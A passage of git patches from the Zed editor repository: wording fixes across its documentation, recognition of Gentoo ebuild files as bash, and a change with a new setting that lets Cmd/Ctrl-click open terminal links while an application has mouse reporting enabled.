 > Before Zed v1.4.0, this was done through the Rules Library, which has been removed.
 > See [Migrating from Rules](./ai/instructions.md#migrating-from-rules) for more information.
diff --git a/docs/src/languages/ansible.md b/docs/src/languages/ansible.md
index fd595bc7e3391a..cf85b68fbe2d1f 100644
--- a/docs/src/languages/ansible.md
+++ b/docs/src/languages/ansible.md
@@ -57,7 +57,7 @@ If your inventory file is in the YAML format, you can either:
 # yaml-language-server: $schema=https://raw.githubusercontent.com/ansible/ansible-lint/main/src/ansiblelint/schemas/inventory.json
 ```
 
-- or, configure the YAML language server settings to set this schema for all your inventory files, that match your inventory pattern, under your Zed settings ([ref](https://zed.dev/docs/languages/yaml)):
+- or, configure the YAML language server settings to set this schema for all your inventory files that match your inventory pattern, under your Zed settings ([ref](https://zed.dev/docs/languages/yaml)):
 
 ```json [settings]
 {
diff --git a/docs/src/languages/cpp.md b/docs/src/languages/cpp.md
index 44025da5544315..e8e8acf9f619e4 100644
--- a/docs/src/languages/cpp.md
+++ b/docs/src/languages/cpp.md
@@ -176,7 +176,7 @@ Automatically dims inactive sections of code due to preprocessor directives, suc
 
 ### Switch Between Source and Header Files
 
-Allows switching between corresponding C++ source files (e.g., `.cpp`) and header files (e.g., `.h`).
+Allows switching between corresponding C++ source files (e.g., `.cpp`) and header files (e.g., `.h`)
 by running the command {#action editor::SwitchSourceHeader} from the command palette or by setting
 a keybinding for the `editor::SwitchSourceHeader` action.
 
diff --git a/docs/src/languages/elixir.md b/docs/src/languages/elixir.md
index cc9f498a3d5b65..8a290a0d7a72cc 100644
--- a/docs/src/languages/elixir.md
+++ b/docs/src/languages/elixir.md
@@ -163,7 +163,7 @@ Enable Next LS by adding the following to your settings file:
 
 Next LS can accept initialization options.
 
-Completions are an experimental feature within Next LS, they are enabled by default in Zed. Disable them by adding the following to your settings file:
+Completions are an experimental feature within Next LS, and are enabled by default in Zed. Disable them by adding the following to your settings file:
 
 ```json [settings]
   "lsp": {
diff --git a/docs/src/languages/java.md b/docs/src/languages/java.md
index a789506e1c537a..a9bc465e2e0aed 100644
--- a/docs/src/languages/java.md
+++ b/docs/src/languages/java.md
@@ -82,7 +82,7 @@ You should then be able to start a new Debug Session with the "Launch Debugger"
 
 This extension provides tasks for running your application and tests from within Zed via little play buttons next to tests/entry points. However, due to current limitations of Zed's extension interface, we can not provide scripts that will work across Maven and Gradle on both Windows and Unix-compatible systems, so out of the box the launch scripts only work on Mac and Linux.
 
-There is a fairly straightforward fix that you can apply to make it work on Windows by supplying your own task scripts. Please see [this Issue](https://github.com/zed-extensions/java/issues/94) for information on how to do that and read the [Tasks section in Zeds documentation](https://zed.dev/docs/tasks) for more information.
+There is a fairly straightforward fix that you can apply to make it work on Windows by supplying your own task scripts. Please see [this Issue](https://github.com/zed-extensions/java/issues/94) for information on how to do that and read the [Tasks section in Zed's documentation](https://zed.dev/docs/tasks) for more information.
 
 ## Advanced Configuration/JDTLS initialization Options
 
diff --git a/docs/src/languages/javascript.md b/docs/src/languages/javascript.md
index 47511ec713d2d3..16e5c2ad60406f 100644
--- a/docs/src/languages/javascript.md
+++ b/docs/src/languages/javascript.md
@@ -107,7 +107,7 @@ You can also only execute a single ESLint rule when using `fixAll`:
 ```
 
 > **Note:** the other formatter you have configured will still run, after ESLint.
-> So if your language server or Prettier configuration don't format according to
+> So if your language server or Prettier configuration doesn't format according to
 > ESLint's rules, then they will overwrite what ESLint fixed and you end up with
 > errors.
 
diff --git a/docs/src/languages/json.md b/docs/src/languages/json.md
index 41644a8b0556c3..dcede9924071ec 100644
--- a/docs/src/languages/json.md
+++ b/docs/src/languages/json.md
@@ -43,7 +43,7 @@ Zed automatically out of the box supports JSON Schema validation of `package.jso
 
 To specify a schema inline with your JSON files, add a `$schema` top level key linking to your json schema file.
 
-For example to for a `.luarc.json` for use with [lua-language-server](https://github.com/LuaLS/lua-language-server/):
+For example, for a `.luarc.json` for use with [lua-language-server](https://github.com/LuaLS/lua-language-server/):
 
 ```json
 {
diff --git a/docs/src/languages/powershell.md b/docs/src/languages/powershell.md
index 27e5daf09c5709..79cf7d65795e50 100644
--- a/docs/src/languages/powershell.md
+++ b/docs/src/languages/powershell.md
@@ -25,9 +25,9 @@ The Zed PowerShell extension will default to the `pwsh` executable found in your
 
 ### Install PowerShell Editor Services (Optional) {#powershell-editor-services}
 
-The Zed PowerShell extensions will attempt to download [PowerShell Editor Services](https://github.com/PowerShell/PowerShellEditorServices) automatically.
+The Zed PowerShell extension will attempt to download [PowerShell Editor Services](https://github.com/PowerShell/PowerShellEditorServices) automatically.
 
-If want to use a specific binary, you can specify in your that in your Zed settings.json:
+If you want to use a specific binary, you can specify that in your Zed settings.json:
 
 ```json [settings]
   "lsp": {
diff --git a/docs/src/languages/python.md b/docs/src/languages/python.md
index 0dd931f5140b7d..4ca22cd9f83624 100644
--- a/docs/src/languages/python.md
+++ b/docs/src/languages/python.md
@@ -444,4 +444,4 @@ If a language server isn't responding or features like diagnostics or autocomple
 - Verify your `settings.json` or `pyrightconfig.json` is syntactically correct.
 - Restart Zed to reinitialize language server connections, or try restarting the language server using the {#action editor::RestartLanguageServer}
 
-If the language server is failing to resolve imports, and you're using a virtual environment, make sure that the right environment is chosen in the selector. You can use "Server Info" view to confirm which virtual environment Zed is sending to the language server&mdash;look for the `* Configuration` section at the end.
+If the language server is failing to resolve imports, and you're using a virtual environment, make sure that the right environment is chosen in the selector. You can use the "Server Info" view to confirm which virtual environment Zed is sending to the language server&mdash;look for the `* Configuration` section at the end.
diff --git a/docs/src/languages/rust.md b/docs/src/languages/rust.md
index 8568ca27ffd2d3..bc6a97a6d96120 100644
--- a/docs/src/languages/rust.md
+++ b/docs/src/languages/rust.md
@@ -70,7 +70,7 @@ You can configure which `rust-analyzer` binary Zed should use.
 
 By default, Zed will try to find a `rust-analyzer` in your `$PATH` and try to use that. If that binary successfully executes `rust-analyzer --help`, it's used. Otherwise, Zed will fall back to installing its own stable `rust-analyzer` version and use that.
 
-If you want to install pre-release `rust-analyzer` version instead you can instruct Zed to do so by setting `pre_release` to `true` in your `settings.json`:
+If you want to install a pre-release `rust-analyzer` version instead, you can instruct Zed to do so by setting `pre_release` to `true` in your `settings.json`:
 
 ```json [settings]
 {
@@ -163,7 +163,7 @@ If disabled with `checkOnSave: false` (see the example of the server configurati
 TBD: Is it possible to specify RUSTFLAGS? https://github.com/zed-industries/zed/issues/14334
 -->
 
-Rust-analyzer [manual](https://rust-analyzer.github.io/book/) describes various features and configuration options for rust-analyzer language server.
+The Rust-analyzer [manual](https://rust-analyzer.github.io/book/) describes various features and configuration options for the rust-analyzer language server.
 Rust-analyzer in Zed runs with the default parameters.
 
 ### Large projects and performance
diff --git a/docs/src/languages/typescript.md b/docs/src/languages/typescript.md
index c4c454118ec2e2..d67c65c248b1c0 100644
--- a/docs/src/languages/typescript.md
+++ b/docs/src/languages/typescript.md
@@ -254,13 +254,13 @@ If your use-case isn't covered by any of these, you can take full control by add
 
 ### Configuring JavaScript debug tasks
 
-JavaScript debugging is more complicated than other languages because there are two different environments: Node.js and the browser. `vscode-js-debug` exposes a `type` field, that you can use to specify the environment, either `node` or `chrome`.
+JavaScript debugging is more complicated than for other languages because there are two different environments: Node.js and the browser. `vscode-js-debug` exposes a `type` field, that you can use to specify the environment, either `node` or `chrome`.
 
 - [vscode-js-debug configuration documentation](https://github.com/microsoft/vscode-js-debug/blob/main/OPTIONS.md)
 
 ### Attach debugger to a server running in web browser (`npx serve`)
 
-Given an externally-ran web server (e.g., with `npx serve` or `npx live-server`) one can attach to it and open it with a browser.
+Given an externally-run web server (e.g., with `npx serve` or `npx live-server`) one can attach to it and open it with a browser.
 
 ```json [debug]
 [
diff --git a/docs/src/linux.md b/docs/src/linux.md
index 410e8f153f029b..bfc61e90455bee 100644
--- a/docs/src/linux.md
+++ b/docs/src/linux.md
@@ -134,7 +134,7 @@ If Zed was installed using a package manager, please consult the documentation f
 
 ## Troubleshooting
 
-Linux works on a large variety of systems configured in many different ways. We primarily test Zed on a vanilla Ubuntu setup, as it is the most common distribution our users use, that said we do expect it to work on a wide variety of machines.
+Linux works on a large variety of systems configured in many different ways. We primarily test Zed on a vanilla Ubuntu setup, as it is the most common distribution our users use. That said, we do expect it to work on a wide variety of machines.
 
 ### Zed fails to start
 
diff --git a/docs/src/performance.md b/docs/src/performance.md
index c97dd23d1956a7..5ecb906289ebe4 100644
--- a/docs/src/performance.md
+++ b/docs/src/performance.md
@@ -22,7 +22,7 @@ The profile.json does not contain any symbols. Firefox profiler can add the loca
 See how long each annotated function call took and its arguments (if
 configured).
 
-Annotate any function you need appear in the profile with instrument. For more
+Annotate any function you need to appear in the profile with instrument. For more
 details see
 [tracing-instrument](https://docs.rs/tracing/latest/tracing/attr.instrument.html):
 
@@ -33,7 +33,7 @@ fn should_appear_in_profile(kitty: Cat) {
 }
 ```
 
-Then either compile Zed with `ZTRACING=1 cargo r --features tracy --release`. The release build is optional but highly recommended as like every program Zeds performance characteristics change dramatically with optimizations. You do not want to chase slowdowns that do not exist in release.
+Then either compile Zed with `ZTRACING=1 cargo r --features tracy --release`. The release build is optional but highly recommended as like every program Zed's performance characteristics change dramatically with optimizations. You do not want to chase slowdowns that do not exist in release.
 
 ## One time Setup/Building the profiler:
 
@@ -55,7 +55,7 @@ Open the profiler (tracy-profiler), you should see zed in the list of `Discovere
 
 <img width="392" height="auto" alt="image" src="https://github.com/user-attachments/assets/b6f06fc3-6b25-41c7-ade9-558cc93d6033" style="display: block; margin: 0 auto;"/>
 
-Tracy is an incredibly powerful profiler which can do a lot however it's UI is not that friendly. This is not the place for an in depth guide to Tracy, I do however want to highlight one particular workflow that is helpful when figuring out why a piece of code is _sometimes_ slow.
+Tracy is an incredibly powerful profiler which can do a lot; however, its UI is not that friendly. This is not the place for an in depth guide to Tracy, I do however want to highlight one particular workflow that is helpful when figuring out why a piece of code is _sometimes_ slow.
 
 Here are the steps:
 
@@ -83,7 +83,7 @@ Here are the steps:
 
 <img width="1964" height="auto" alt="Scroll to zoom in" src="https://github.com/user-attachments/assets/625c2bf4-a68d-40c4-becb-ade16bc9a8bc" />
 
-7. Click on a caller to to get statistics on _it_.
+7. Click on a caller to get statistics on _it_.
 
 <img width="1888" height="auto" alt="Click on any of the zones to get statistics" src="https://github.com/user-attachments/assets/7e578825-2b63-4b7f-88f7-0cb16b8a3387" />
 
diff --git a/docs/src/project-panel.md b/docs/src/project-panel.md
index c1a190d89053f0..afee88bbf36864 100644
--- a/docs/src/project-panel.md
+++ b/docs/src/project-panel.md
@@ -24,7 +24,7 @@ permanent tab. Editing the file or double-clicking it promotes it to a permanent
 
 ### Auto-reveal
 
-By default, switching files in the editor will automatically highlight it in the
+By default, switching to a file in the editor will automatically highlight it in the
 project panel and scroll it into view. This can be disabled with the
 `project_panel.auto_reveal_entries` setting.
 
diff --git a/docs/src/reference/all-settings.md b/docs/src/reference/all-settings.md
index ebeacf2bb96fb0..1ca24ef7616ea8 100644
--- a/docs/src/reference/all-settings.md
+++ b/docs/src/reference/all-settings.md
@@ -2740,7 +2740,7 @@ Example:
 
 **Options**
 
-Run the {#action icon_theme_selector::Toggle} action in the command palette to see a current list of valid icon themes names.
+Run the {#action icon_theme_selector::Toggle} action in the command palette to see a current list of valid icon theme names.
 
 ### Light
 
@@ -2750,7 +2750,7 @@ Run the {#action icon_theme_selector::Toggle} action in the command palette to s
 
 **Options**
 
-Run the {#action icon_theme_selector::Toggle} action in the command palette to see a current list of valid icon themes names.
+Run the {#action icon_theme_selector::Toggle} action in the command palette to see a current list of valid icon theme names.
 
 ## Image Viewer
 
@@ -4855,7 +4855,7 @@ Example command to set the title: `echo -e "\e]2;New Title\007";`
 
 **Options**
 
-Run the {#action theme_selector::Toggle} action in the command palette to see a current list of valid themes names.
+Run the {#action theme_selector::Toggle} action in the command palette to see a current list of valid theme names.
 
 ### Light
 
@@ -4865,7 +4865,7 @@ Run the {#action theme_selector::Toggle} action in the command palette to see a
 
 **Options**
 
-Run the {#action theme_selector::Toggle} action in the command palette to see a current list of valid themes names.
+Run the {#action theme_selector::Toggle} action in the command palette to see a current list of valid theme names.
 
 ## Title Bar
 
diff --git a/docs/src/remote-development.md b/docs/src/remote-development.md
index 9c9e8152fe6b96..d23f9520aa7177 100644
--- a/docs/src/remote-development.md
+++ b/docs/src/remote-development.md
@@ -18,7 +18,7 @@ Remote development requires two computers, your local machine that runs the Zed
 
 On your local machine, Zed runs its UI, talks to language models, uses Tree-sitter to parse and syntax-highlight code, and stores unsaved changes and recent projects. The source code, language servers, tasks, and the terminal all run on the remote server. [AI features](./ai/overview.md) work in remote sessions, including the Agent Panel and Inline Assistant.
 
-> **Note:** The original version of remote development sent traffic via Zed's servers. As of Zed v0.157 you can no-longer use that mode.
+> **Note:** The original version of remote development sent traffic via Zed's servers. As of Zed v0.157 you can no longer use that mode.
 
 ## Setup
 
@@ -244,7 +244,7 @@ If you do this, you must upload it to `~/.zed_server/zed-remote-server-{RELEASE_
 
 ## Maintaining the SSH connection
 
-Once the server is initialized. Zed will create new SSH connections (reusing the existing ControlMaster) to run the remote development server.
+Once the server is initialized, Zed will create new SSH connections (reusing the existing ControlMaster) to run the remote development server.
 
 Each connection tries to run the development server in proxy mode. This mode will start the daemon if it is not running, and reconnect to it if it is. This way when your connection drops and is restarted, you can continue to work without interruption.
 
diff --git a/docs/src/repl.md b/docs/src/repl.md
index b23bb27094fcc2..255e1a40add463 100644
--- a/docs/src/repl.md
+++ b/docs/src/repl.md
@@ -79,7 +79,7 @@ On macOS, your system Python will _not_ work. Either set up [pyenv](https://gith
 
 </div>
 
-To setup your current Python to have an available kernel, run:
+To set up your current Python to have an available kernel, run:
 
 ```sh
 pip install ipykernel
@@ -217,4 +217,4 @@ Available kernels:
   rust                  /Users/z/Library/Jupyter/kernels/rust
 ```
 
-> Note: Zed makes best effort usage of `sys.prefix` and `CONDA_PREFIX` to find kernels in Python environments. If you want to explicitly control run `python -m ipykernel install --user --name myenv --display-name "Python (myenv)"` to install the kernel directly while in the environment.
+> Note: Zed makes best effort usage of `sys.prefix` and `CONDA_PREFIX` to find kernels in Python environments. If you want to explicitly control this, run `python -m ipykernel install --user --name myenv --display-name "Python (myenv)"` to install the kernel directly while in the environment.
diff --git a/docs/src/vim.md b/docs/src/vim.md
index b8447b83e56f42..db8bc03d40eef4 100644
--- a/docs/src/vim.md
+++ b/docs/src/vim.md
@@ -297,11 +297,11 @@ These ex commands open Zed's various panels and windows.
 
 These commands navigate diagnostics.
 
-| Command                  | Description                    |
-| ------------------------ | ------------------------------ |
-| `:cn[ext]` or `:ln[ext]` | Go to the next diagnostic      |
-| `:cp[rev]` or `:lp[rev]` | Go to the previous diagnostics |
-| `:cc` or `:ll`           | Open the errors page           |
+| Command                  | Description                   |
+| ------------------------ | ----------------------------- |
+| `:cn[ext]` or `:ln[ext]` | Go to the next diagnostic     |
+| `:cp[rev]` or `:lp[rev]` | Go to the previous diagnostic |
+| `:cc` or `:ll`           | Open the errors page          |
 
 ### Git
 
diff --git a/docs/src/worktree-trust.md b/docs/src/worktree-trust.md
index 4d5a18d7b201c4..4c190143c5e6f1 100644
--- a/docs/src/worktree-trust.md
+++ b/docs/src/worktree-trust.md
@@ -15,7 +15,7 @@ To let users choose based on their own threat model and risk tolerance, all work
 
 Zed still trusts tools it installs globally. Global MCP servers and global language servers such as Prettier and Copilot are installed and started as usual, independent of worktree trust.
 
-If a worktree is not trusted, Zed will indicate this with an exclamation mark icon in the title bar. Clicking this icon or using `workspace::ToggleWorktreeSecurity` action will bring up the security modal that allows the user to trust the worktree.
+If a worktree is not trusted, Zed will indicate this with an exclamation mark icon in the title bar. Clicking this icon or using the `workspace::ToggleWorktreeSecurity` action will bring up the security modal that allows the user to trust the worktree.
 
 Trusting a worktree persists that decision between restarts. You can clear all trusted worktrees with the `workspace::ClearTrustedWorktrees` command.
 This command will restart Zed, to ensure no untrusted settings, language servers or MCP servers persist.

From 739f23926d58a5c4dbda736e5b3b2ebd943337de Mon Sep 17 00:00:00 2001
From: Michael Egger <gcarq@users.noreply.github.com>
Date: Wed, 8 Jul 2026 15:36:29 +0300
Subject: [PATCH 331/772] grammars: Recognize Gentoo `ebuild` files as bash
 script (#59068)

The Gentoo `ebuild` file format is a subset of a bash script, see
https://wiki.gentoo.org/wiki/Ebuild.


Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Closes #ISSUE

Release Notes:

- Changed `ebuild` files to be recognized as bash.

Signed-off-by: gcarq <egger.m@protonmail.com>
Co-authored-by: Kirill Bulatov <kirill@zed.dev>
---
 crates/edit_prediction_cli/src/filter_languages.rs | 5 +++++
 crates/grammars/src/bash/config.toml               | 2 +-
 2 files changed, 6 insertions(+), 1 deletion(-)

diff --git a/crates/edit_prediction_cli/src/filter_languages.rs b/crates/edit_prediction_cli/src/filter_languages.rs
index cdf503fa23c95d..754ca7d1ba92ec 100644
--- a/crates/edit_prediction_cli/src/filter_languages.rs
+++ b/crates/edit_prediction_cli/src/filter_languages.rs
@@ -514,6 +514,11 @@ mod tests {
             detect_language(".env", &map),
             Some("Shell Script".to_string())
         );
+        // Gentoo ebuild files are a subset of bash
+        assert_eq!(
+            detect_language("app-editors/zed-1.5.4.ebuild", &map),
+            Some("Shell Script".to_string())
+        );
     }
 
     #[test]
diff --git a/crates/grammars/src/bash/config.toml b/crates/grammars/src/bash/config.toml
index adc2063341af73..d7cabce3c2a86f 100644
--- a/crates/grammars/src/bash/config.toml
+++ b/crates/grammars/src/bash/config.toml
@@ -1,7 +1,7 @@
 name = "Shell Script"
 code_fence_block_name = "bash"
 grammar = "bash"
-path_suffixes = ["sh", "bash", "bashrc", "bash_profile", "bash_aliases", "bash_logout", "bats", "envrc", "profile", "zsh", "zshrc", "zshenv", "zsh_profile", "zsh_aliases", "zsh_histfile", "zlogin", "zprofile", ".env", "PKGBUILD", "APKBUILD"]
+path_suffixes = ["sh", "bash", "bashrc", "bash_profile", "bash_aliases", "bash_logout", "bats", "envrc", "profile", "zsh", "zshrc", "zshenv", "zsh_profile", "zsh_aliases", "zsh_histfile", "zlogin", "zprofile", ".env", "PKGBUILD", "APKBUILD", "ebuild"]
 modeline_aliases = ["sh", "shell", "shell-script", "zsh"]
 line_comments = ["# "]
 first_line_pattern = '^#!.*\b(?:ash|bash|bats|dash|sh|zsh)\b'

From f5c975162cf217f2c9cd1a2c1192eb2bb4653cdc Mon Sep 17 00:00:00 2001
From: Tianze Zhao <tankztz@gmail.com>
Date: Wed, 8 Jul 2026 20:41:48 +0800
Subject: [PATCH 332/772] terminal: Open links with Cmd/Ctrl-click when mouse
 mode is enabled (#60067)

This fixes #56956.

The terminal link-open gesture was split between `mouse_down` and
`mouse_up`, but both halves only ran in the non-mouse-reporting path.
When a foreground app enabled terminal mouse reporting, a secondary
click on a URL or file path was forwarded to the PTY instead of opening
the link.

This changes secondary-click link handling so it checks for a hyperlink
before mouse reporting on press, and completes the matching hyperlink
open before mouse reporting on release. The event is only consumed when
the click actually lands on the same link, so normal clicks in
mouse-reporting TUIs continue to be forwarded as before.

Validation:

- `CARGO_BUILD_JOBS=1 cargo test -j1 -p terminal
test_hyperlink_ctrl_click_same_position_in_mouse_mode`
- `CARGO_BUILD_JOBS=1 cargo check -j1 -p terminal`

Release Notes:

- Improved terminal links: Cmd/Ctrl-click now opens links even when the
application has mouse reporting enabled (e.g. vim, opencode, claude).
Disable `terminal.open_links_in_mouse_mode` to forward these clicks to
the application instead.

---------

Co-authored-by: Smit Barmase <heysmitbarmase@gmail.com>
---
 assets/settings/default.json             |   6 +
 crates/settings/src/vscode_import.rs     |   1 +
 crates/settings_content/src/terminal.rs  |   8 +
 crates/settings_ui/src/page_data.rs      |  25 +-
 crates/terminal/src/terminal.rs          | 278 ++++++++++++++++++++---
 crates/terminal/src/terminal_settings.rs |   2 +
 docs/src/reference/all-settings.md       |  21 ++
 docs/src/terminal.md                     |  10 +
 8 files changed, 314 insertions(+), 37 deletions(-)

diff --git a/assets/settings/default.json b/assets/settings/default.json
index 8725587ade6d68..983784e89517e8 100644
--- a/assets/settings/default.json
+++ b/assets/settings/default.json
@@ -1897,6 +1897,12 @@
     "copy_on_select": false,
     // Whether to keep the text selection after copying it to the clipboard.
     "keep_selection_on_copy": true,
+    // Whether cmd-click (ctrl-click on Linux and Windows) opens hyperlinks even
+    // when the terminal application has enabled mouse reporting (e.g. vim with
+    // mouse=a, htop). When false, these clicks are forwarded to the application
+    // instead, and hyperlinks can still be opened with shift-cmd-click
+    // (shift-ctrl-click).
+    "open_links_in_mouse_mode": true,
     // Whether to show the terminal button in the status bar
     "button": true,
     // Any key-value pairs added to this list will be added to the terminal's
diff --git a/crates/settings/src/vscode_import.rs b/crates/settings/src/vscode_import.rs
index f7ad53118d3a61..9b8584c4e6ba15 100644
--- a/crates/settings/src/vscode_import.rs
+++ b/crates/settings/src/vscode_import.rs
@@ -899,6 +899,7 @@ impl VsCodeSettings {
                 .map(FontSize::from),
             font_weight: None,
             keep_selection_on_copy: None,
+            open_links_in_mouse_mode: None,
             line_height: self
                 .read_f32("terminal.integrated.lineHeight")
                 .map(|lh| TerminalLineHeight::Custom(lh)),
diff --git a/crates/settings_content/src/terminal.rs b/crates/settings_content/src/terminal.rs
index c7c1013278fe92..e66795a193f427 100644
--- a/crates/settings_content/src/terminal.rs
+++ b/crates/settings_content/src/terminal.rs
@@ -124,6 +124,14 @@ pub struct TerminalSettingsContent {
     ///
     /// Default: true
     pub keep_selection_on_copy: Option<bool>,
+    /// Whether cmd-click (ctrl-click on Linux and Windows) opens hyperlinks even
+    /// when the terminal application has enabled mouse reporting (e.g. vim with
+    /// mouse=a, htop). When false, these clicks are forwarded to the application
+    /// instead, and hyperlinks can still be opened with shift-cmd-click
+    /// (shift-ctrl-click).
+    ///
+    /// Default: true
+    pub open_links_in_mouse_mode: Option<bool>,
     /// Whether to show the terminal button in the status bar.
     ///
     /// Default: true
diff --git a/crates/settings_ui/src/page_data.rs b/crates/settings_ui/src/page_data.rs
index 94dff0038f0c78..ba35c4875ef8dc 100644
--- a/crates/settings_ui/src/page_data.rs
+++ b/crates/settings_ui/src/page_data.rs
@@ -7115,7 +7115,7 @@ fn terminal_page() -> SettingsPage {
         ]
     }
 
-    fn behavior_settings_section() -> [SettingsPageItem; 5] {
+    fn behavior_settings_section() -> [SettingsPageItem; 6] {
         [
             SettingsPageItem::SectionHeader("Behavior Settings"),
             SettingsPageItem::SettingItem(SettingItem {
@@ -7179,6 +7179,29 @@ fn terminal_page() -> SettingsPage {
                 metadata: None,
                 files: USER,
             }),
+            SettingsPageItem::SettingItem(SettingItem {
+                title: "Open Links In Mouse Mode",
+                description: "Whether cmd-click (ctrl-click on Linux and Windows) opens hyperlinks even when the terminal application has enabled mouse reporting. When disabled, these clicks are forwarded to the application; links can still be opened with shift-cmd-click.",
+                field: Box::new(SettingField {
+                    organization_override: None,
+                    json_path: Some("terminal.open_links_in_mouse_mode"),
+                    pick: |settings_content| {
+                        settings_content
+                            .terminal
+                            .as_ref()?
+                            .open_links_in_mouse_mode
+                            .as_ref()
+                    },
+                    write: |settings_content, value, _| {
+                        settings_content
+                            .terminal
+                            .get_or_insert_default()
+                            .open_links_in_mouse_mode = value;
+                    },
+                }),
+                metadata: None,
+                files: USER,
+            }),
             SettingsPageItem::SettingItem(SettingItem {
                 title: "Audible Bell",
                 description: "Whether to play a sound when the BEL character (`\\a`, `0x07`) is printed",
diff --git a/crates/terminal/src/terminal.rs b/crates/terminal/src/terminal.rs
index 9fbfd575dedf4d..796593fe45d951 100644
--- a/crates/terminal/src/terminal.rs
+++ b/crates/terminal/src/terminal.rs
@@ -1004,6 +1004,8 @@ impl TerminalBuilder {
             path_style,
             #[cfg(any(test, feature = "test-support"))]
             input_log: Vec::new(),
+            #[cfg(any(test, feature = "test-support"))]
+            pty_write_log: Default::default(),
         };
 
         TerminalBuilder {
@@ -1275,6 +1277,8 @@ impl TerminalBuilder {
                 path_style,
                 #[cfg(any(test, feature = "test-support"))]
                 input_log: Vec::new(),
+                #[cfg(any(test, feature = "test-support"))]
+                pty_write_log: Default::default(),
             };
 
             if !activation_script.is_empty() && no_task {
@@ -1442,6 +1446,8 @@ pub struct Terminal {
     path_style: PathStyle,
     #[cfg(any(test, feature = "test-support"))]
     input_log: Vec<Vec<u8>>,
+    #[cfg(any(test, feature = "test-support"))]
+    pty_write_log: std::cell::RefCell<Vec<Vec<u8>>>,
 }
 
 struct CopyTemplate {
@@ -1964,8 +1970,10 @@ impl Terminal {
     /// Write the Input payload to the PTY, if applicable.
     /// (This is a no-op for display-only terminals.)
     fn write_to_pty(&self, input: impl Into<Cow<'static, [u8]>>) {
+        let input = input.into();
+        #[cfg(any(test, feature = "test-support"))]
+        self.pty_write_log.borrow_mut().push(input.to_vec());
         if let TerminalType::Pty { pty_tx, .. } = &self.terminal_type {
-            let input = input.into();
             if log::log_enabled!(log::Level::Debug) {
                 if let Ok(str) = str::from_utf8(&input) {
                     log::debug!("Writing to PTY: {:?}", str);
@@ -2097,6 +2105,11 @@ impl Terminal {
         std::mem::take(&mut self.input_log)
     }
 
+    #[cfg(any(test, feature = "test-support"))]
+    pub fn take_pty_write_log(&mut self) -> Vec<Vec<u8>> {
+        std::mem::take(self.pty_write_log.get_mut())
+    }
+
     #[cfg(any(test, feature = "test-support"))]
     pub fn keyboard_input_sent(&self) -> bool {
         self.keyboard_input_sent
@@ -2307,22 +2320,30 @@ impl Terminal {
     pub fn mouse_move(&mut self, e: &MouseMoveEvent, cx: &mut Context<Self>) {
         let position = e.position - self.last_content.terminal_bounds.bounds.origin;
         if self.mouse_mode(e.modifiers.shift) {
-            let (point, side) = grid_point_and_side(
-                position,
-                self.last_content.terminal_bounds,
-                self.last_content.display_offset,
-            );
-
-            if self.mouse_changed(point, side) {
-                let bytes = mouse_moved_report(
-                    point,
-                    e.pressed_button,
-                    e.modifiers,
-                    self.last_content.mode,
+            // A ctrl/cmd press on a link suppressed its button-press report in
+            // `mouse_down`. Since the app never saw the press, we must swallow
+            // the whole gesture rather than forward later motion/release
+            // reports, which would be a press-less (malformed) sequence.
+            // `mouse_up` resolves it: release on the same link opens it,
+            // otherwise the gesture is dropped.
+            if self.mouse_down_hyperlink.is_none() {
+                let (point, side) = grid_point_and_side(
+                    position,
+                    self.last_content.terminal_bounds,
+                    self.last_content.display_offset,
                 );
 
-                if let Some(bytes) = bytes {
-                    self.write_to_pty(bytes);
+                if self.mouse_changed(point, side) {
+                    let bytes = mouse_moved_report(
+                        point,
+                        e.pressed_button,
+                        e.modifiers,
+                        self.last_content.mode,
+                    );
+
+                    if let Some(bytes) = bytes {
+                        self.write_to_pty(bytes);
+                    }
                 }
             }
         } else {
@@ -2444,7 +2465,7 @@ impl Terminal {
         Some(scroll_lines.clamp(-3, 3))
     }
 
-    pub fn mouse_down(&mut self, e: &MouseDownEvent, _cx: &mut Context<Self>) {
+    pub fn mouse_down(&mut self, e: &MouseDownEvent, cx: &mut Context<Self>) {
         let position = e.position - self.last_content.terminal_bounds.bounds.origin;
         let point = grid_point(
             position,
@@ -2454,7 +2475,8 @@ impl Terminal {
 
         if e.button == MouseButton::Left
             && e.modifiers.secondary()
-            && !self.mouse_mode(e.modifiers.shift)
+            && (TerminalSettings::get_global(cx).open_links_in_mouse_mode
+                || !self.mouse_mode(e.modifiers.shift))
         {
             self.mouse_down_hyperlink = self.find_hyperlink_at_point(point);
 
@@ -2504,7 +2526,7 @@ impl Terminal {
                 }
                 #[cfg(any(target_os = "linux", target_os = "freebsd"))]
                 MouseButton::Middle => {
-                    if let Some(item) = _cx.read_from_primary() {
+                    if let Some(item) = cx.read_from_primary() {
                         let text = item.text().unwrap_or_default();
                         self.paste(&text);
                     }
@@ -2518,6 +2540,33 @@ impl Terminal {
         let setting = TerminalSettings::get_global(cx);
 
         let position = e.position - self.last_content.terminal_bounds.bounds.origin;
+        if let Some(mouse_down_hyperlink) = self.mouse_down_hyperlink.take() {
+            let point = grid_point(
+                position,
+                self.last_content.terminal_bounds,
+                self.last_content.display_offset,
+            );
+
+            if self
+                .find_hyperlink_at_point(point)
+                .is_some_and(|mouse_up_hyperlink| mouse_up_hyperlink == mouse_down_hyperlink)
+            {
+                self.events
+                    .push_back(InternalEvent::ProcessHyperlink(mouse_down_hyperlink, true));
+                self.selection_phase = SelectionPhase::Ended;
+                self.last_mouse = None;
+                self.mouse_down_position = None;
+                return;
+            }
+
+            if self.mouse_mode(e.modifiers.shift) {
+                self.selection_phase = SelectionPhase::Ended;
+                self.last_mouse = None;
+                self.mouse_down_position = None;
+                return;
+            }
+        }
+
         if self.mouse_mode(e.modifiers.shift) {
             let point = grid_point(
                 position,
@@ -2536,24 +2585,6 @@ impl Terminal {
                 self.copy(Some(true));
             }
 
-            if let Some(mouse_down_hyperlink) = self.mouse_down_hyperlink.take() {
-                let point = grid_point(
-                    position,
-                    self.last_content.terminal_bounds,
-                    self.last_content.display_offset,
-                );
-
-                if let Some(mouse_up_hyperlink) = self.find_hyperlink_at_point(point) {
-                    if mouse_down_hyperlink == mouse_up_hyperlink {
-                        self.events
-                            .push_back(InternalEvent::ProcessHyperlink(mouse_up_hyperlink, true));
-                        self.selection_phase = SelectionPhase::Ended;
-                        self.last_mouse = None;
-                        return;
-                    }
-                }
-            }
-
             //Hyperlinks
